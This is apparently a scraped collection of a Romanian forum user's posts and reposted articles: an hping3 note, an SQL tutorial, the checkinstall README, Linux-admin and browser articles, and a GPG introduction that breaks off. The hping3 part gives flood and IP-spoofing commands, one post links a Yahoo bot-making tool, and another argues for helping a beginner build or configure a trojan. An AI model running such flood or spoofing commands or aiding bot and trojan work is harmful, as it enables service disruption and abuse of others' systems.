pyth0n3

Hping3 suporta optiunea --flood iar syntax-ul e hping3 --flood 192.168.0.1 Va trimite pachete in mod continuu si repede Spoofing in Hping3 hping3 --spoof 192.168.0.2 --icmp-ts 192.168.0.1 Pot fi specificate si anumite pachete , in acest caz am specificat un ICMP timestamp request Dar pot fi si altele ICMP -C --icmptype icmp type (default echo request) -K --icmpcode icmp code (default 0) --force-icmp send all icmp types (default send only supported types) --icmp-gw set gateway address for ICMP redirect (default 0.0.0.0) --icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp) --icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask) --icmp-help display help for others icmp options UDP/TCP -s --baseport base source port (default random) -p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec -k --keep keep still source port -w --win winsize (default 64) -O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4) -Q --seqnum shows only tcp sequence number -b --badcksum (try to) send packets with a bad IP checksum many systems will fix the IP checksum sending the packet so you'll get bad UDP/TCP checksum instead. -M --setseq set TCP sequence number -L --setack set TCP ack -F --fin set FIN flag -S --syn set SYN flag -R --rst set RST flag -P --push set PUSH flag -A --ack set ACK flag -U --urg set URG flag -X --xmas set X unused flag (0x40) -Y --ymas set Y unused flag (0x80) --tcpexitcode use last tcp->th_flags as exit code --tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime Este un tool destul de tare pt a efectua diverse lucruri ,dar va trebui folosit si un sniffer ca sa analizati pachetele trimise si raspunsurile primite Este un scanner folosit pt servere care folosesc Firewall,sau IDS pt a analiza comportamentul a acestora .

Structured Query Language Aici voi face un tutorial despre SQL unde voi face cateva posturi .In exemplele pe cale le voi face voi folosi ca database MySql care poate fi descarcat de aici pt cei care utilizeaza Windows MySQL :: Download MySQL Community Server Majoritate Distro linux il au in repository ,eu voi folosi ca distro Backtrack 4 final unde MySql este instalat va trebui doar creat un user si pornit serverul care va merge pe portul 3306/tcp de default . Pt a efectual aceste exemple se poate folosi ca client mysql-query-browser care poate fi instalat din Synaptic ,dupa care dati in terminal comandul mysql-query-browser si veti avea o Gui in care puteti lucra http://img.brothersoft.com/screenshots/softimage/m/mysql_query_browser_for_windows-71868-1.jpeg Inaite de a incepe voi descrie cateva lucruri pe care le vom studia .Pt o definitie a SQL va trimit aici SQL - Wikipedia, the free encyclopedia In acest tutorial vom studia urmatoarele lucruri: 0-cateva carcteristici a unui database relational 1-cum sa facem un tabel 2-cum sa introducemsi sa modificam date 3-cum sa interogam un database 4-cum sa facem selectii 5-cum sa lucram cu mai multe tabele 0-cateva caracteristici a unui database relational Voi incerva sa fac putina teorie,mai multa practica sa se inteleaga mai bine limbajul pe care il folosecs aceste database se chiama SQL Structured Query Language A iesit pentru prima data in practica in anul 1981 din initiativa unei companii care se chiama IBM (presupun ca ati auzit de ea)avand numele de Structured Query Language/Data System(SQL/DS) Este un limbaj specializat , nu se poate folosi pt a creea grafica sau pentru exercitii matematice ci doar pt a lucra pe tabelele unui database relational . Este un limbaj cu care nu se pot efectua procedure (nu explica computerului ce trebuie sa faca ) Descrie computerului doar ceea ce vrea sa obtina Multi se intreb ce fel de database RDBMS sa foloseasca? Pt exeplele pe care le voi faca am ales MySql doar pt faptul ca e gratis si se pot efectua multe tipuri de exemple ,ceea ce cu alte tipuri de database e putin mai divers. Oricum exista mai multe tipuri de database: Microsoft SQL Server ,Oracle,Sybase s.a Cu SQL se pot creea database Comenzile SQL sunt clasificate in 3 famili (pot fi de 3 tipuri): comenzi care ajuta la creearea si modificarea unui tabel,care formeaza limajul pt a defini datele Data Definition Language DDL - comenzi care interogheaza tabelele pt a extrage informatii , care formeaza limbajul pt a manipula datele Data Manipulation Language DML comenzi care se folosesc pt a acorda sau retrage autorizatii in sistemele unde se lucreaza cu SQL unde sunt mai multi useri de exemplu cum sunt autorizatiile intrun sistem Unix/Linux si formeaza limbajul Data Control Language DCL

############################################################################## # # checkinstall 1.6.2 # # # ############################# # # # # Installs a compiled program from the program's source directory using # # "make install" or any other command supplied on checkinstall's command # # line. checkinstall will create a Slackware, RPM or Debian compatible # # package and install it using your distribution's standard package # # administration utilities. # # # # This version of checkinstall needs enough free space on the partition # # holding the temp dir (/var/tmp by default) to write there a # # temporary copy of the package. # # # ############################################################################## ====== CONTENTS ====== 1. Introduction 2. Usage 2.1. Download, configure, build 2.2. The "doc-pak" directory 2.3. Package description 2.4. Preinstall, postinstall, preremove and postremove 2.5. Package information 2.6. Package creation 2.6.1 Slackware packages 2.6.2 RPM packages 2.6.3 Debian packages 3. Customization 3.1. The checkinstallrc file 3.2. Command line switches 3.3. Native language support 4. Notes ====== 1. INTRODUCTION ====== A lot of people has asked me how can they remove from their boxes a program they compiled and installed from source. Some times - very few - the program's author adds an "uninstall" rule to the Makefile, but that's not usually the case. That's my primary reason to write checkinstall. After you ./configure;make your program, It will run "make install" (or whatever you tell it to run) and keep track of every file modified by this installation, using the excellent installwatch utility written by Pancrazio 'Ezio' de Mauro <p at demauro.net>. When "make install" is done, checkinstall will create a Slackware, RPM or Debian package and install it with Slackware's installpkg, "rpm -i" or "dpkg -i" as appropriate, so you can view it's contents in /var/log/packages or remove it with removepkg (for Slackware), "rpm -ql" and "rpm -e" (RPM) or "dpkg -I" and "dpkg -r" (Debian). Additionally, this script will leave a copy of the installed package in the source directory or in the storage directory you specify (see the PAK_DIR option later in the checkinstallrc file) so you can install it wherever you want, which is my second motivation: I don't have to compile the same software again and again every time I need to install it on another box . Another nice thing about checkinstall is that it can be run simultaneously by any number of users and each instance will get only the files modified by it's processes and no one else's, unlike some other tools based on a "find / -atime etc etc etc". Not to mention that checkinstall is A LOT faster =) It is important to note that checkinstall can keep track of files modified by any command line, not just a "make install". You can create your own installation script with lots of command in it and then have checkinstall track them for you. ====== 2. USAGE ====== == 2.1 == Download, configure, build o Download your software, i.e. Afterstep-1.8.4.tgz o Extract the files: tar xzvf Afterstep-1.8.4 o cd to the source directory, configure and compile: cd Afterstep-1.8.4 ./configure make == 2.2 == The "doc-pak" directory o Optionally you can make a directory called "doc-pak" whose contents will be installed in /usr/doc/<package_name> inside the package you're about to create. checkinstall will remind you about this one if it notices there is no "doc-pak" on the source directory. Good candidates to be there are: README, INSTALL, COPYING, Changelog, TODO, CREDITS, etc. It's up to you what to copy in there. mkdir doc-pak cp README INSTALL COPYING Changelog TODO CREDITS doc-pak As of checkinstall-1.1 if you don't create the "doc-pak" directory then checkinstall will ask if you want it to build a default documentation directory with files having common documentation names like those mentioned in the above paragraph. If you say no, your package will have no documentation. == 2.3 == Package description (Changed in checkinstall-1.3.0) If you create a file named "description-pak" it's contents will be used to include a description and summary in the new package, which will be displayed when you use "pkgtool" or "rpm -qi". For example: Create the file "description-pak": ---------------------- Cut here ---------------------- AfterStep window manager The one and only! This is a window manager with a NexT inspiration. ---------------------- Cut here ---------------------- If checkinstall doesn't find that file it will create one, asking you for a description to put in it. NOTE: Slackware's pkgtool doesn't seem to handle package filenames longer than 8 characters when displaying the package list in the "Remove" section, but the "View" option works OK. I hope that Pat or someone can take the time to fix this. I'll try to fix it myself if i find the time to do it. As a result, I've decided not to prepend every line in the PACKAGE DESCRIPTION section of the /var/log/packages entry with package-name:. It is difficult to read in the /var/log/packages file and it's pretty useless in the pkgtool's remove package section listing. The description is stored "as is". Anyway, it's not that bad.. ;-) NOTE 2: As of checkinstall 1.5.3, support for the new (8.1+) Slackware description file format is included, available when using the "--newslack" command line switch. == 2.4 == Preinstall, postinstall, preremove and postremove scripts CheckInstall supports preinstall, postinstall, preremove and postremove scripts for RPM and Debian packages. For Debian, these scripts must meet some requirements to be accepted by dpkg while building the .deb package. See: http://www.debian.org/doc/debian-policy/ch-maintainerscripts.html In short, any shell script will do as long as it specifies an interpreter (i.e. put #!/bin/sh as the first line) and has an exit status of zero for success or non-zero for failure. To include the scripts in your package, put them in the current directory and name them: +-----------------+--------------------------------------+ | Script name | Action | +--------------------------------------------------------+ | preinstall-pak | Run BEFORE the package is INSTALLED | +--------------------------------------------------------+ | postinstall-pak | Run AFTER the package is INSTALLED | +--------------------------------------------------------+ | preremove-pak | Run BEFORE the package is REMOVED | +--------------------------------------------------------+ | postremove-pak | Run AFTER the package is REMOVED | +--------------------------------------------------------+ All scripts are optional. You can write all of them if you need them, or only the ones you need, or even none. Remember that the scripts are run only when the .rpm or .deb package is installed or removed. NOT when the initial install command (i.e. "make install") is run. For Slackware packages, the "postinstall-pak" script is already supported as "install-pak". Either name will work. == 2.5 == Package information CheckInstall will display a menu with several values that can be customized for this package, like the package's name, version, release number, etc. Most of the values are self-descriptive, however there are three values that deserve special attention: "Name", "Source Location" and "Alternate Source Location". The "Name" field allows you to change the name for the package you are about to create. This is useful when CheckInstall fails to properly set this name from the source directory's name. This also applies to the version field. The "Source Location" values are -for now- only hooks for the upcoming "auto-unpack-configure-compile-install" feature in future CheckInstall's versions. The "Source Location" will tipically be the original source archive and the "Alternate Source Location" would be some FTP or HTTP URL where the source archive can be retrieved from. Keep your eyes on these ones ;-). Please note that as of checkinstall-1.5.0 (not 1.5.0betax) all of these values can be specified via command line options. See the COMMAND LINE OPTIONS section below. == 2.6 == Package creation o You normally would su and make install. Now it's only su: su password: xxxxx o Run checkinstall: checkinstall NOTE: If you give no arguments to checkinstall it will run a "make install". If you give arguments, the first non-option argument will be used as the install command. This is useful when the install command is not "make install" but something else like "make install_packages" or "setup" or whatever, i.e. checkinstall make install_packages checkinstall make modules_install checkinstall install.sh checkinstall setup checkinstall rpm -i my-package-1.0.i386-1.rpm == 2.6.1 == Slackware packages o checkinstall will ask if you want to see the installation results, then run the modified Slackware package maker "makepak". If you want checkinstall to use the original Slackware's "makepkg" then change the MAKEPKG variable inside the checkinstall script and read this: makepkg will ask you a couple of questions: If there are any symbolic links in the installed package it will ask you to remove them and make an installation script to re-create them whenever you install the package. This is a GOOD THING, so answer YES. --> BTW, makepkg doesn't always ask you this (depending on whether you have symbolic links or not) so be careful and read before you answer, you could be answering the wrong question. Read on: makepkg will *always* ask if you want to change the owner, group and permissions of EVERY file in the package to root:root:755. This is BAD most of the times, always answer NO to that question, unless you know what you are doing, of course o In the end, checkinstall will install the package with installpkg so you can remove it later with Slackware's removepkg (Our initial intention ). Additionally, it will leave a copy of the package in the source directory, the package's name will be name-version-architecture-release.tgz. Using the Afterstep example, the file would be named Afterstep-1.8.4-i386-1.tgz. Starting with checkinstall-1.5.1, the created packages will be named using the new (post-Slackware 8.0) Slackware package naming scheme. o You can add a customized installation script which will be run by "installpkg" every time you use it to install your new package. Write it and name it "install-pak" or "postinstall-pak" and checkinstall will include it for you. This script can be useful to set up the system to fit the newly installed package: create new users, set permissions, initialize databases, rcscripts, etc. == 2.6.2 == RPM package creation support CheckInstall has the ability to build binary RPM packages. After you write the package's description the script will prompt you to choose a package type. If you chose RPM ("R") then it will figure out some sane values and write a minimal spec file. You can of course supply your own file, in this case checkinstall will use the values you put in there to build the rpm and skip the spec file writing step. If any problems arise while building/installing the rpm you'll get a chance to see the log files and figure out what went wrong. == 2.6.3 == Debian package creation support That's right, CheckInstall can now create Debian packages. Do I need to say more? =) The Debian support in CheckInstall is still new, so handle it with care. It has been reported to work OK in some Debian systems and it certainly works OK in my Slackware development system with dpkg installed. Your mileage may vary. And of course, it it *does* vary, I'd really like it if you send me a message telling me about it so I can fix it ;-). NOTE to non-Debian-based users: =============================== To build Debian packages you need the dpkg utility. I got mine from: http://www.debian.org/Packages/unstable/base/dpkg.html Also, you should have all of your basic filesystem structure included ("installed") in your dpkg database, or you won't be able to remove most .deb packages installed (either checkinstall-generated ones or not). dpkg seems to be unwilling to remove things like "/", "/usr" and such, wich are obviously included in nearly every package you install. The way to avoid this particular problem is to have a "base" package installed containing those directories, in this way dpkg won't complain about removing other packages. I've put a "aaa_base-1.0-1.deb" package in the CheckInstall's home page as a work-around for this problem. Install it with "dpkg -i aaa_base-1.0-1.deb" and then forget about it =). "dpkg -I aaa_base-1.0-1.deb" should give you some useful info about the package. ====== 3. CheckInstall customization ====== == 3.1 == The checkinstallrc file CHANGE in CheckInstall 1.4.0: The variable declaration section in the checkinstall script has been removed, you should now edit the checkinstallrc file, normally installed under /usr/local/lib/checkinstall. In the checkinstallrc file you will find some variables wich modify checkinstall's default behaviour. They're described here (and are also well commented in the file, BTW). The checkinstallrc values are these: o DEBUG: Set the debug level (Default: 0) 0 => No debug 1 => Keep all files except the ones inside the package 3 => Keep those files too. o INSTALLWATCH_PREFIX: Prefix to installwatch's library and program o INSTALLWATCH: Location of the installwatch program o MAKEPKG: Location of Slackware's makepkg Location of the makepkg program. "makepak" is the default, and is included with checkinstall. If you want to use Slackware's native "makepkg" then set this to "makepkg" o MAKEPKG_FLAGS: makepkg optional flags. These are recommended if running a newer Slackware version: "-l y -c n" o SHOW_MAKEPKG: Boolean (Default: 0) Show -or not- the results of the MAKEPKG command as it runs. Useful when running it with interactive options. If checkinstall seems to halt and sleep after saying "Building Slackware package..." then you might want to set this to 1. o BASE_TMP_DIR: Prefix to all checkinstall's temporary files/dirs NEVER, EVER set this to "/tmp" or "/". Setting it to "/tmp" will change /tmp's permission to 700 (definitely no good) and setting it to "/" one will erase all of your files by means of a "rm -rf /*". You have been warned! o DOC_DIR: Where to place the installed document files o ARCHITECTURE: Default target architecture for the package. (Default: empty) If your rpm program is configured to build packages for i686 instead of i386 (for example) then you'll find this handy to avoid the need to tell checkinstall your architecture type every time it is run. The default is auto-detect. o INSTYPE: What kind of packages are we building? (Default: empty) Set it to "S" for Slackware's .tgz, "R" for RedHat and friends' .rpm, "D" for Debian and leave it empty to have checkinstall ask you every time. o RPM_FLAGS: RPM install command optional flags. o DPKG_FLAGS: dpkg install command optional flags. o PAK_DIR: Package storage directory If non-empty, all the created packages will be saved in this directory. In this way you can keep all of your packages in one place. o CKUMASK: Set the umask to this value (Default: 0022) o SHOW_INSTALL: Boolean (0 or 1) (Default: 1) Show -or not- the results of the install command as it runs. Useful for interactive install commands. o SHOW_SLACK_INSTALL: Boolean (0 or 1) (Default: 0) Show -or not- the results of the Slackware's installpkg command as it runs. As the option above, this can be useful for interactive install scripts. o DEL_DOCPAK: Boolean (Default: 1) Delete -or not- the "doc-pak" directory upon program's termination. o DEL_SPEC: Boolean (Default: 1) Delete -or not- the .spec file upon termination. o DEL_DESC: Boolean (Default: 1) Delete -or not- the "description-pak" file. o STRIP_ELF: Boolean (Default: 1) Strip -or not- any ELF binaries found inside the package. o STRIP_SO_ELF: Boolean (Default: 0) Automatically strip all ELF shared libraries? Note: this setting will automatically be set to "0" if STRIP_ELF=0 o ADD_SO: Boolean (Default: 0) Automatically search for shared libraries and add them to /etc/ld.so.conf? o COMPRESS_MAN: Boolean (Default: 1) Automatically compress all man pages? o BACKUP: Boolean (Default: 1) Backup -or not- any pre-existent files that would be overwritten by the package installation. o AUTODOINST: Boolean (Default: 1) Write a doinst.sh script wich will be executed everytime you install the package with installpkg. o NEW_SLACK: Boolean (Default: 1) Use the new (8.1+) Slackware description file format? o EXCLUDE: Comma delimited list List of files/directories to be ignored when searching for files to be included in the package. Example: EXCLUDE="/dev,/tmp,bad_file,bad_dir" o CK_INCLUDE_FILE: Path to a file This file should contain a list of files and directories that will be included in the package in addition to the ones installed by your installation command. The files or directories should be listed one per line. Example: INCLUDE="/home/include-list.txt" o ACCEPT_DEFAULT: Boolean (Default: 0) Accept default values for all questions? o CK_INSPECT: Boolean Enable inspection of the list of files that will be included in the package, before the package is created. o REVIEW_SPEC: Boolean Enable review of the .spec file before the creation of a RPM package. o REVIEW_CONTROL: Boolean Enable review of the Debian control file before the creation of a Debian package. o INSTALL: Boolean Install or not the package as we create it. == 3.2 == Command line options Starting at version 1.4.0, checkinstall supports a lot of command line switches, which if specified will override the options set in the checkinstallrc file. The command line options are these: Usage: checkinstall [options] [command [command arguments]] Options: *Package type selection* -t,--type=<slackware|rpm|debian> Choose packaging system -S Build a Slackware package -R Build a RPM package -D Build a Debian package *Install options* --install=<yes|no> Toggle created package installation --fstrans=<yes|no> Enable/disable the filesystem translation code *Scripting options* -y, --default Accept default answers to all questions --pkgname=<name> Set name --pkgversion=<version> Set version -A, --arch, --pkgarch=<arch> Set architecture --pkgrelease=<release> Set release --pkglicense=<license> Set license --pkggroup=<group> Set software group --pkgsource=<source> Set source location --pkgaltsource=<altsource> Set alternate source location --pakdir=<directory> The new package will be saved here --maintainer=<email addr> The package maintainer (.deb) --provides=<list> Features provided by this package (.rpm) --requires=<list> Features required by this package (.rpm) --rpmflags=<flags> Pass this flags to the rpm installer --rpmi Use the -i flag for rpm when installing a .rpm --rpmu Use the -U flag for rpm when installing a .rpm --dpkgflags=<flags> Pass this flags to the dpkg installer --spec=<path> .spec file location --nodoc Do not include documentacion files *Info display options* -d<0|1|2> Set debug level -si Run an interactive install command --showinstall=<yes|no> Toggle interactive install command -ss Run an interactive Slackware installation script --showslack=<yes|no> Toggle interactive Slackware installation script *Package tuning options* --autodoinst=<yes|no> Toggle the creation of a doinst.sh script --strip=<yes|no> Strip any ELF binaries found inside the package --stripso=<yes|no> Strip any ELF binary libraries (.so files) --addso=<yes|no> Search for any shared libs and add them to /etc/ld.so.conf --reset-uids=<yes|no> Reset perms for all files/dirs to 755 aand the owner/group for all dirs to root.root --gzman=<yes|no> Compress any man pages found inside the package --docdir=<path> Where to put documentation files --umask=<mask> Set the umask value --exclude=<file|dir[,...]> Exclude these files/directories from the package --include=<listfile> Force the inclusion in the package of the files/dirs listed in "listfile" --inspect Inspect the package's file list --review-spec Review the spec file before creating a .rpm --review-control Review the control file before creating a .deb --newslack Use the new (8.1+) Slackware description format ("--newslack" implies "-S") --with-tar=/path/to/tar Manually set the path to the tar binary in this system *Cleanup options* --deldoc=<yes|no> Delete doc-pak upon termination --deldesc=<yes|no> Delete description-pak upon termination --delspec=<yes|no> Delete spec file upon termination --bk Backup any overwritten files --backup=<yes|no> Toggle backup *About CheckInstall* --help, -h Show this message --copyright Show Copyright information --version Show version information == 3.3 == Native Language Support Checkinstall now uses GNU gettext to support native language translation of all messages sent to the terminal. Set your LC_ALL variable to your ISO-639 language and ISO-3166 country codes. For example, to set spanish and Mexico you would use: export LC_ALL=es_MX Translators needed! Please read the file NLS_SUPPORT for information on how to translate checkinstall if your language is not already supported. The supported languages so far are: o English o Spanish ====== 4. Notes ====== So far I've seen -or heard of- checkinstall running and building packages in these distributions/operating systems: o Slackware 7.x/8.x,9.x o RedHat 6.2/7.x/8.x o SuSe 7.x/8.x/9.x o Mandrake 7.x/8.x/9.x o Gentoo Linux o Solaris (version?) o Debian 2.x/3.0 In x86, ppc, sparc and arm, BTW. If you have succesfully used checkinstall in some other distro I'd really appreciate if you let me know =). CheckInstall currently is unable to track any file system changes made by statically linked programs. This is being worked on and I hope to have it ready in a couple of weeks or so. Then again, it could be a couple of months, but the important thing is that it will be ready soon . NOTE ON SUID/SGID PROGRAMS: CheckInstall can't track their actions because of some limitations in the LD_PRELOAD system that installwatch uses. This is good for security reasons, but it can generate unexpected results when the installation process uses SUID/SGID binaries. So, before asking questions about some files not being included in your package, check the binaries that you're using ;-). SLACKWARE 8.0 USERS: Slack8.0 ships with a statically linked "ln", so any symlinks your installation process creates WON'T be detected nor included in your package. The way to fix this is to substitute your static "ln" for a dynamically linked one, like the one from a Slackware 7.x installation. There's link to download it from the CheckInstall's homepage. Debian support is now included! UPDATE jan-18-2001: RPM support is already in place, inst2rpm supplied the template for the mini-spec file used by checkinstall. Thanks to Jon A. Christopher for writing it. Another thing in the works is the addition of a friendlier interface based on the dialog tool (which will give us curses-like character based menus AND X11 graphical menus at no extra cost =) ) There are some extra features planned like package updating, automated friendly installation process going from extracting the files to the installation including configure options, build, etc. Sometime in the future I will rewrite this in C/Gtk or something, too. Ideas, bug reports, patches, etc: * CheckInstall author: <izto at asic-linux.com.mx> ------------ * CheckInstall users list: <checkinstall-list at asic-linux.com.mx> To join the list, send an empty message to: <checkinstall-list-subscribe at asic-linux.com.mx> ------------ * CheckInstall developers list: <checkinstall-devel at asic-linux.com.mx> To join the list, send an empty message to: <checkinstall-devel-subscribe at asic-linux.com.mx> ==========

As Linux squeezes itself into all facets of technology, more people are being forced to use it who have little knowledge of the foreign Unix land. Maybe you’re trying to learn your way around, or maybe you’re the Windows guy who just got ‘promoted’ to maintaining the Linux system; either way, things are odd, and you just really, really don’t want to fubar the system. For those of you who fall into that category, this article is for you. Below are fifteen mistakes often made by new Linux administrators. 1. Failing To Use CheckInstall Linux uses package managers, which keep everything installed on your system updated and clean. When two or more apps rely on each other, it is imperative that all of them are kept updated, not just a few. Thus, when you install one program via whatever package manager your distro uses but another from source, the package manager will only update the first, which could cause things to stop working properly. The solution to this is to use Checkinstall to build a package for your system that will stay updated along with the other software, which will save you headaches in the future. 2. Refusal to Use the Command Line Interface You just have to learn it. It’s that simple. You cannot be a sysadmin in any system while harboring a fear of the command line, but that is doubly true in Linux. While you can manage to do most things with some form of a GUI, it is almost always faster and easier to learn how to do it from the Terminal. Learn some bash already. 3. Having No or Weak Root Password Someone getting their hands on the root password is like some crony gaining control of Darth Vader’s big laser that blew up Alderaan. If you have no root password, then you’re either a very ripe sysadmin, or you’re an idiot. If you have a weak one, then you’re naive. Here is a very big tip: if you don’t have a password, set one RIGHT NOW; if it is a simple word, especially a word in the dictionary, change it RIGHT NOW to something at least fourteen characters long with uppercase, lowercase, numbers, and symbols. 4. Pretending Updates Don’t Exist For whatever reason, people don’t like updates. That is understandable if you’re getting fed them day after day, but really–updates keep things working (most of the time). Sometimes it is laziness–there may be hundreds of updates if you put it off for awhile, and no one likes to pick through those, so they just put it off longer and longer until something stops working. You must update. If you disable auto-updates, then check them every day. Sift through them each time and only install the ones you need. Do this every time. Your install will thank you. 5. Making Changes Without Backing Up First If you’re going to pick through, for example, the resolution config file to try and get your three monitor system running properly, you really should backup the file first. This goes for all changes in tweaks. In fact, just go ahead and create a backup of every major file right now, just so when you forget later, your fore sight will have saved you from FUBAR hell. 6. Not Learning to Trouble Shoot Their System Each distro is like a baby–they are similar on the surface, but when you spend time with them, there are noticeable differences. For that reason, it is very important that you spend time with your distro and learn its own peculiarities. Want an example? One user who had messed up his Ubuntu resolution was freaking out because his screen was scrambled, and he was trying to fix it from command line. That seems fine, except that if he’d spent time knowing his system, he’d of simply booted into recovery mode and reset his resolution to default. Knowledge is not only power, but it’s a time saver, too. 7. Ignoring Logs like the Plague See, there’s these little things inside /var/logs called LOGS that tell you magical things about your system, like errors and security issues. These things give you valuable information that can be used to correct programs and head off unfortunate issues. Doing so will make your life as admin much, much easier. So then, why do you ignore these? Out of fear? Trepidation? Misplaced respect? Open the system logs once in awhile and see what’s up, okay? 8. Keeping Everything in One Giant Partition Of course, this is only valid if you’re the one doing the installing. You don’t want everything to sit in one partition for many reasons, two of which being performance and convenience. You’re probably going to change distros at some point, so to make your life easier, put your home directory in a different partition than the rest. This will make your life easier at some point, trust me. 9. Using as Root For you Window’s users, that means Admin. You’re not supposed to run as admin, nothing good ever comes from it. When using the terminal, simply use ’su’ or ’sudo’ or whatever your system command is for running as root. This is more than powerful enough for the things you must do. 10. Asking Help From Random People If Linux has been thrust upon you and you’re left trying to pick your way through things that mean nothing to you, then no one will blame you for seeking help when issues arise. With that said, be careful who you seek help from, and be very weary of what you run through the Terminal. There are people who get their kicks from making your life hell. Get the help of a pro when things go bad. ethiopianreview.com

Am varsta de 22 de ani

Corect , cauta doar cateva tool-uri ,nu stiu sa citeasca ,dupa care posteaza in legatura cu ele pt ca nu stiu sa le foloseasca .Un singur sfat poate cineva reuseste sa decripteze ce am scris Puneti mana pe carte si cititi ,orice poate fi folositor .Macar 15 minute pe zi ,si mai putin televizor

Program pt facut boti Download YCC Bot Maker 2.2.2 - Create Yahoo users easily and quickly - Softpedia Iar in legatura cu errorile pe care le da , mergeti pe google si scrieti download exemplu.ocx dupa care il puneti in Folder-ul in care aveti acel tool si merge ,in unele o sa va ceara anumite DLL , cautatile pe google ,le puneti unde este acel tool si merge .Cautati pe google intai orice fel de error va da sau orice va cere

February 12, 2010 Windows security software vendor Comodo has added its contribution to the short list of Chromium-based browser remixes that have sprung up in the wake of Google Chrome's success. Best known for its firewall software, Comodo's Chromium browser is called Dragon, and it promises better security features than those available in Google Chrome. It is the first browser released by a security software company. Dragon warns users away from sites with poor certification, including Facebook. (Credit: Screenshot by Seth Rosenblatt/CNET) Previously only available in beta test form from the Comodo forums, Dragon introduces one new feature not in Chromium and strips out all of the Google-based innovations. Comodo Dragon has a stricter policy on Web site certification than other browsers, and it will throw up a yellow warning page, if a user tries to access a Web site with an unvalidated certificate. Users can see this on the Facebook log-in page, for example. You can still click through with the "proceed anyway" button, but it's interesting to see major sites with poor certification get called out. Facebook.com is a trustworthy Web site, but Comodo CEO Melih Abdulhayoglu sees it differently. "My goal is to secure end users. And if that means I need to put a message saying that this site is unprotected because [it doesn't have] a validated certificate...then I will." Abdulhayoglu added that cost shouldn't be an issue for Web site certification because an unvalidated certificate "costs the same" as a validated one. Dragon is based on Chromium version 3, so it supports themes but not extensions. Abdulhayoglu said he expects Dragon to update to Chromium version 4 before the end of March. There are plans, he said, to introduce more security-based features, including banking Web site support and a remote-access collaborative feature that allows two people at different computers to share the browser. Besides missing extensions, Dragon lacks bookmark sync, automatic translation, and all the other Google features. It also lacks the reporting feature, which was a major concern for many users when Google Chrome debuted. Although you can uncheck the anonymous reporting in Chrome's Options pane, some users have found this unsatisfactory. In a statement it e-mailed on Friday, Comodo touted this lack of reporting as beneficial because it prevents attackers from finding vulnerabilities in the software error-compiling mechanism. It's entirely unclear at this point, though, how big of a vulnerability the remote-reporting compiler has posed. After using Dragon for a few hours, it's not clear that many users will find it superior to Chrome at the moment. Too many features are missing, and although Comodo claims on its Dragon launch page Comodo Dragon Internet Browser that it's "very easy to switch from your browser to the Dragon," you can't import settings from Chrome, only from Opera, Internet Explorer, or Firefox. Right now, Dragon is little more than a curiosity, except for the excessively paranoid, but if it is able to gain back some of the features it lost through extensions and introduce better security features on its own, it might be able to hold its own as a niche browser. cnet.com

Oricum am vazut raspunsurile pt acest topic .Incercam sa intelegem ca baiatul are o problema este incepator , poate nu stie limba engleza , nici un limbaj de programare .Dar are un obiectiv , vrea sa stie cum sa faca un trojan sau cel putin cum sa il configureze.Inteleg un singur lucru ca nimeni nu se naste invatat , unii stiu mai multe altii stiu mai putine . Ceea ce nu inteleg de ce o persoana in aceasta situatiie nu poate beneficia de un raspuns care il va putea ajuta.Stiti prea bine si voi altii ca nimeni nu a fost acolo sa va ajute sa intelegeti anumite lucruri , dar trebuie sa stiti insa ca nu trebuie sa faceti si voi la fel cu altii.Iar cel mai rau lucru pe care l-am vazut este modul in care multi raspund ,ma intreb Dar pe viitor mai exista politete? E nevoie sa folosim un limbaj foarte josnic in ne a exprima doar pt ca o persoana nu stie si are nevoie de ajutor?Va facut sa va simtiti mai tari cand ati folosit cuvinte urate in vocabularul vostru ? Nu stiu ce intentii are aceasta persoana in a folosi un trojan dar daca cineva nu stie de ce sa nu il ajutam sa invete , in limba in care o cunoaste el .Nu ar fi mai bine sa scriem mai multe raspunsuri la subiect si sa nu irosim cuvintele? ok voi stiti ce face un trojan si cum vine setat ,aducetiva putin aminte cum de stiti , unde ati citit, cate query ati facut pe motorul vostru de cautat preferat inainte de a stii .Nu sa nascut nimeni invatat, iar multi din noi refuza sa le explice la altii care nu stiu doar pt faptul ca ei stiu prea bine si ii considera pe ceilalti inculti sau putin documentati.Nu am momentan un tutorial in romana despre trojeni ,daca il are cineva sau vrea sa il scrie il rog sa posteze .Multumesc!

Incearca atunci sa instalezi yahoo messenger in Backtrack 4 si fami si mie un tutorial cum ai facut ,Aici gasesti sursa http://in.docs.yahoo.com/messenger/download/unix.html Astept tutorialul si cateva comentarii , cum ar fi diferenta intre yahoomessenger client pt Unix si Pidgin .

Doar in sistemele Unix/Linux , cred ca poti folosi si cateva comenzi in Cygwin , care ar fi un emulator de Unix shell pt Windows http://en.wikipedia.org/wiki/Cygwin In orice caz BASH este pt Unix/Linux

SQL Injection Attacks by Example

An A-Z Index of the Bash command line for Linux bash commands - Linux MAN Pages

Introduction Are you looking for a safe way to encrypt your files and messages? What if there is a method that can do all that and more and yet it is FREE to use? If you are interested, keep reading to know about encrypting and exchanging files safely with GPG and PGP. GPG is an acronym for Gnu Privacy Guard. It was developed as a free and open source alternative to PGP , a famous commercial encryption product. Both GPG and PGP can encrypt and decrypt data on your system, in addition they can be used to authenticate emails and files you exchange with other people, this means that if Bob is sending files and emails to Alice, she can check if the data has been altered in the way by any third party and if the sender is Bob for sure and no one else. Furthermore, with these applications, Bob can also make sure that only Alice will be able to decrypt and read/view the data he is sending. Before proceeding with how this works in practice, let me first start with a small formal introduction to the protocol these programs use, that is OpenPGP (RFC 4880 ). OpenGPG OpenPGP is the most used email encryption standard now a day. It uses public-keys in combination with symmetric cryptography and hash-function to provide security solutions for electronic communications and data storage. Any OpenPGP software should support data confidentiality, integrity and authentication. So OpenGPG is the standard or the protocol, while PGP and GPG are the applications you can use. The software It is best now to get your own copy of the software. GPG is free, if you are using Windows, you can get GPG4win from: Gpg4win - Email-Security using GnuPG for Windows . For Mac and Unix/Linux systems, download the copy that is best for you from: here http://www.gnupg.org/related_software/frontends.en.html Usually GPG is installed by default in most Linux distributions. In Ubuntu for example, you can start working on it directly using your command line, but to save yourself time and make your life easier, add the suitable frontend for Gnome: Seahorse, by running the following commands: CODE : sudo apt-get install seahorse And also install its plug-ins CODE : sudo apt-get install seahorse-plugins If you are a KDE user then you should get KGpg instead of Seahorse. On the other hand, you can also use PGP. It is commercial, but the good news is that: if you decide to use their trial version without entering the license key, it works as a freeware version. It does not give you the full functionality of a commercial license of course, however, what you get is convenient enough (I personally use it). You can download the trial 